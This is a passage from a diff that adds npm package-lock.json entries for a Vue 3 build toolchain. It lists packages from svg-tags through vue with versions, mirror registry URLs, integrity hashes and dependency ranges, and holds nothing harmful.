"sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/svg-tags": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/svg-tags/-/svg-tags-1.0.0.tgz", + "integrity": "sha512-ovssysQTa+luh7A5Weu3Rta6FJlFBBbInjOh722LIt6klpU2/HtdUbszju/G4devcvk8PGt7FCLv5wftu3THUA==", + "dev": true + }, + "node_modules/svgo": { + "version": "2.8.0", + "resolved": "https://registry.npmmirror.com/svgo/-/svgo-2.8.0.tgz", + "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "dev": true, + "dependencies": { + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^4.1.3", + "css-tree": "^1.1.3", + "csso": "^4.2.0", + "picocolors": "^1.0.0", + "stable": "^0.1.8" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/svgo/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/table": { + "version": "6.8.2", + "resolved": "https://registry.npmmirror.com/table/-/table-6.8.2.tgz", + "integrity": "sha512-w2sfv80nrAh2VCbqR5AK27wswXhqcck2AhfnNW76beQXskGZ1V12GwS//yYVa3d3fcvAip2OUnbDAjW2k3v9fA==", + "dev": true, + "dependencies": { + "ajv": "^8.0.1", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/table/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/table/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmmirror.com/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser": { + "version": "5.36.0", + "resolved": "https://registry.npmmirror.com/terser/-/terser-5.36.0.tgz", + "integrity": "sha512-IYV9eNMuFAV4THUspIRXkLakHnV6XO7FEdtKjf/mDyrnqUg9LnlOn6/RwRvM9SZjR4GUq8Nk8zj67FzVARr74w==", + "dev": true, + "dependencies": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.3.10", + "resolved": "https://registry.npmmirror.com/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz", + "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==", + "dev": true, + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.20", + "jest-worker": "^27.4.5", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.1", + "terser": "^5.26.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/terser-webpack-plugin/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmmirror.com/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "dev": true + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmmirror.com/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/thread-loader": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/thread-loader/-/thread-loader-3.0.4.tgz", + "integrity": "sha512-ByaL2TPb+m6yArpqQUZvP+5S1mZtXsEP7nWKKlAUTm7fCml8kB5s1uI3+eHRP2bk5mVYfRSBI7FFf+tWEyLZwA==", + "dev": true, + "dependencies": { + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.1.0", + "loader-utils": "^2.0.0", + "neo-async": "^2.6.2", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.27.0 || ^5.0.0" + } + }, + "node_modules/thread-loader/node_modules/loader-utils": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", + "dev": true, + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/thread-loader/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/thunky": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", + "dev": true + }, + "node_modules/tinyglobby": { + "version": "0.2.10", + "resolved": "https://registry.npmmirror.com/tinyglobby/-/tinyglobby-0.2.10.tgz", + "integrity": "sha512-Zc+8eJlFMvgatPZTl6A9L/yht8QqdmUNtURHaKZLmKBE12hNPSrqNkUp2cs3M/UKmNVVAMFQYSjYIVHDjW5zew==", + "dev": true, + "dependencies": { + "fdir": "^6.4.2", + "picomatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/tinyglobby/node_modules/fdir": { + "version": "6.4.2", + "resolved": "https://registry.npmmirror.com/fdir/-/fdir-6.4.2.tgz", + "integrity": "sha512-KnhMXsKSPZlAhp7+IjUkRZKPb4fUyccpDrdFXbi4QL1qkmFh9kVY09Yox+n4MaOb3lHZ1Tv829C3oaaXoMYPDQ==", + "dev": true, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/tinyglobby/node_modules/picomatch": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-4.0.2.tgz", + "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "dev": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/totalist": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/totalist/-/totalist-3.0.1.tgz", + "integrity": "sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/tr46": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/tr46/-/tr46-0.0.3.tgz", + "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", + "dev": true + }, + "node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==" + }, + "node_modules/turndown": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/turndown/-/turndown-7.2.0.tgz", + "integrity": "sha512-eCZGBN4nNNqM9Owkv9HAtWRYfLA4h909E/WGAWWBpmB275ehNhZyk87/Tpvjbp0jjNl9XwCsbe6bm6CqFsgD+A==", + "dependencies": { + "@mixmark-io/domino": "^2.2.0" + } + }, + "node_modules/turndown-plugin-gfm": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/turndown-plugin-gfm/-/turndown-plugin-gfm-1.0.2.tgz", + "integrity": "sha512-vwz9tfvF7XN/jE0dGoBei3FXWuvll78ohzCZQuOb+ZjWrs3a0XhQVomJEb2Qh4VHTPNRO4GPZh0V7VRbiWwkRg==" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-fest": { + "version": "0.6.0", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.6.0.tgz", + "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmmirror.com/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dev": true, + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/ufo": { + "version": "1.5.4", + "resolved": "https://registry.npmmirror.com/ufo/-/ufo-1.5.4.tgz", + "integrity": "sha512-UsUk3byDzKd04EyoZ7U4DOlxQaD14JUKQl6/P7wiX4FNvUfm3XL246n9W5AmqwW5RSFJ27NAuM0iLscAOYUiGQ==", + "dev": true + }, + "node_modules/undici-types": { + "version": "6.20.0", + "resolved": "https://registry.npmmirror.com/undici-types/-/undici-types-6.20.0.tgz", + "integrity": "sha512-Ny6QZ2Nju20vw1SRHe3d9jVu6gJ+4e3+MMpqu7pqE5HT6WsTSlce++GQmK5UXS8mzV8DSYHrQH+Xrf2jVcuKNg==", + "dev": true + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.1.tgz", + "integrity": "sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "dev": true, + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.0.tgz", + "integrity": "sha512-4IehN3V/+kkr5YeSSDDQG8QLqO26XpL2XP3GQtqwlT/QYSECAwFztxVHjlbh0+gjJ3XmNLS0zDsbgs9jWKExLg==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unimport": { + "version": "3.14.2", + "resolved": "https://registry.npmmirror.com/unimport/-/unimport-3.14.2.tgz", + "integrity": "sha512-FSxhbAylGGanyuTb3K0Ka3T9mnsD0+cRKbwOS11Li4Lh2whWS091e32JH4bIHrTckxlW9GnExAglADlxXjjzFw==", + "dev": true, + "dependencies": { + "@rollup/pluginutils": "^5.1.3", + "acorn": "^8.14.0", + "escape-string-regexp": "^5.0.0", + "estree-walker": "^3.0.3", + "local-pkg": "^0.5.1", + "magic-string": "^0.30.14", + "mlly": "^1.7.3", + "pathe": "^1.1.2", + "picomatch": "^4.0.2", + "pkg-types": "^1.2.1", + "scule": "^1.3.0", + "strip-literal": "^2.1.1", + "tinyglobby": "^0.2.10", + "unplugin": "^1.16.0" + } + }, + "node_modules/unimport/node_modules/escape-string-regexp": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/unimport/node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/unimport/node_modules/picomatch": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-4.0.2.tgz", + "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unplugin": { + "version": "1.16.0", + "resolved": "https://registry.npmmirror.com/unplugin/-/unplugin-1.16.0.tgz", + "integrity": "sha512-5liCNPuJW8dqh3+DM6uNM2EI3MLLpCKp/KY+9pB5M2S2SR2qvvDHhKgBOaTWEbZTAws3CXfB0rKTIolWKL05VQ==", + "dev": true, + "dependencies": { + "acorn": "^8.14.0", + "webpack-virtual-modules": "^0.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/unplugin-auto-import": { + "version": "0.16.7", + "resolved": "https://registry.npmmirror.com/unplugin-auto-import/-/unplugin-auto-import-0.16.7.tgz", + "integrity": "sha512-w7XmnRlchq6YUFJVFGSvG1T/6j8GrdYN6Em9Wf0Ye+HXgD/22kont+WnuCAA0UaUoxtuvRR1u/mXKy63g/hfqQ==", + "dev": true, + "dependencies": { + "@antfu/utils": "^0.7.6", + "@rollup/pluginutils": "^5.0.5", + "fast-glob": "^3.3.1", + "local-pkg": "^0.5.0", + "magic-string": "^0.30.5", + "minimatch": "^9.0.3", + "unimport": "^3.4.0", + "unplugin": "^1.5.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@nuxt/kit": "^3.2.2", + "@vueuse/core": "*" + }, + "peerDependenciesMeta": { + "@nuxt/kit": { + "optional": true + }, + "@vueuse/core": { + "optional": true + } + } + }, + "node_modules/unplugin-auto-import/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/unplugin-auto-import/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/unplugin-vue-components": { + "version": "0.25.2", + "resolved": "https://registry.npmmirror.com/unplugin-vue-components/-/unplugin-vue-components-0.25.2.tgz", + "integrity": "sha512-OVmLFqILH6w+eM8fyt/d/eoJT9A6WO51NZLf1vC5c1FZ4rmq2bbGxTy8WP2Jm7xwFdukaIdv819+UI7RClPyCA==", + "dev": true, + "dependencies": { + "@antfu/utils": "^0.7.5", + "@rollup/pluginutils": "^5.0.2", + "chokidar": "^3.5.3", + "debug": "^4.3.4", + "fast-glob": "^3.3.0", + "local-pkg": "^0.4.3", + "magic-string": "^0.30.1", + "minimatch": "^9.0.3", + "resolve": "^1.22.2", + "unplugin": "^1.4.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@babel/parser": "^7.15.8", + "@nuxt/kit": "^3.2.2", + "vue": "2 || 3" + }, + "peerDependenciesMeta": { + "@babel/parser": { + "optional": true + }, + "@nuxt/kit": { + "optional": true + } + } + }, + "node_modules/unplugin-vue-components/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/unplugin-vue-components/node_modules/local-pkg": { + "version": "0.4.3", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.4.3.tgz", + "integrity": "sha512-SFppqq5p42fe2qcZQqqEOiVRXl+WCP1MdT6k7BDEW1j++sp5fIY+/fdRQitvKgB5BrBcmrs5m/L0v2FrU5MY1g==", + "dev": true, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/unplugin-vue-components/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/unplugin/node_modules/webpack-virtual-modules": { + "version": "0.6.2", + "resolved": "https://registry.npmmirror.com/webpack-virtual-modules/-/webpack-virtual-modules-0.6.2.tgz", + "integrity": "sha512-66/V2i5hQanC51vBQKPH4aI8NMAcBW59FVBs+rC7eGHupMyfn34q7rZIE+ETlJ+XTevqfUhVVBgSUNSW2flEUQ==", + "dev": true + }, + "node_modules/update-browserslist-db": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz", + "integrity": "sha512-R8UzCaa9Az+38REPiJ1tXlImTJXlVfgHZsglwBD/k6nj76ctsH1E3q4doGrukiLQd3sGQYu56r5+lo5r94l29A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.0" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmmirror.com/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" + }, + "node_modules/utila": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/utila/-/utila-0.4.0.tgz", + "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==", + "dev": true + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "dev": true, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmmirror.com/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true, + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-compile-cache": { + "version": "2.4.0", + "resolved": "https://registry.npmmirror.com/v8-compile-cache/-/v8-compile-cache-2.4.0.tgz", + "integrity": "sha512-ocyWc3bAHBB/guyqJQVI5o4BZkPhznPYUG2ea80Gond/BgNWpap8TOmLSeeQG7bnh2KMISxskdADG59j7zruhw==", + "dev": true + }, + "node_modules/validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/vanilla-colorful": { + "version": "0.7.2", + "resolved": "https://registry.npmmirror.com/vanilla-colorful/-/vanilla-colorful-0.7.2.tgz", + "integrity": "sha512-z2YZusTFC6KnLERx1cgoIRX2CjPRP0W75N+3CC6gbvdX5Ch47rZkEMGO2Xnf+IEmi3RiFLxS18gayMA27iU7Kg==" + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vue": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/vue/-/vue-3.5.13.tgz", + "integrity": "sha512-wmeiSMxkZCSc+PM2w2VRsOYAZC8GdipNFRTsLSfodVqI9mbejKeXEGr8SckuLnrQPGe3oJN5c3K0vpoU9q/wCQ==", + "dependencies": { + "@vue/compiler-dom": "3.5.13", + "@vue/compiler-sfc": "3.5.13", + "@vue/runtime-dom": 